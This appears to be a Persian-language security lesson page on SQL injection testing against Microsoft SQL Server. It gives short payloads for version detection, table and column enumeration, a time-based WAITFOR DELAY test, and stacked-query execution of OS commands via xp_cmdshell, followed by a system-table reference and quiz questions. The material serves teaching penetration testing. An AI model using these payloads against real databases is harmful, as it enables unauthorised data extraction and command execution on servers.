در حال بارگذاری...
تست تزریق SQL در پایگاه داده Microsoft SQL Server با تکنیکها و payloadهای خاص.
اهداف این درس
Microsoft SQL Server پایگاه داده مایکروسافت است که از T-SQL استفاده میکند. ویژگیهای خاص SQL Server مثل xp_cmdshell، sysobjects و STACKED QUERIES تکنیکهای خاصی نیاز دارند.
1-- شناسایی نسخه2' UNION SELECT @@version --34-- لیست جداول5' UNION SELECT table_name FROM information_schema.tables --67-- لیست ستونها8' UNION SELECT column_name FROM information_schema.columns WHERE table_name='users' --910-- تست time-based11'; WAITFOR DELAY '0:0:5' --1213-- اجرای دستور سیستمی14'; EXEC xp_cmdshell 'whoami' --| جدول | اطلاعات |
|---|---|
| INFORMATION_SCHEMA.TABLES | لیست تمام جداول |
| INFORMATION_SCHEMA.COLUMNS | لیست تمام ستونها |
| sysobjects | اطلاعات اشیاء پایگاه داده |
| sysdatabases | لیست پایگاههای داده |
| sysusers | لیست کاربران |
SQL Server از T-SQL استفاده میکند.
xp_cmdshell میتواند برای اجرای دستورات سیستمی استفاده شود.
STACKED QUERIES در SQL Server پشتیبانی میشود.
در SQL Server، از کدام جدول سیستمی برای لیست جداول استفاده میشود؟
xp_cmdshell در SQL Server چیست؟
xp_cmdshell یک stored procedure در SQL Server است که اجازه اجرای دستورات سیستمعامل را میدهد.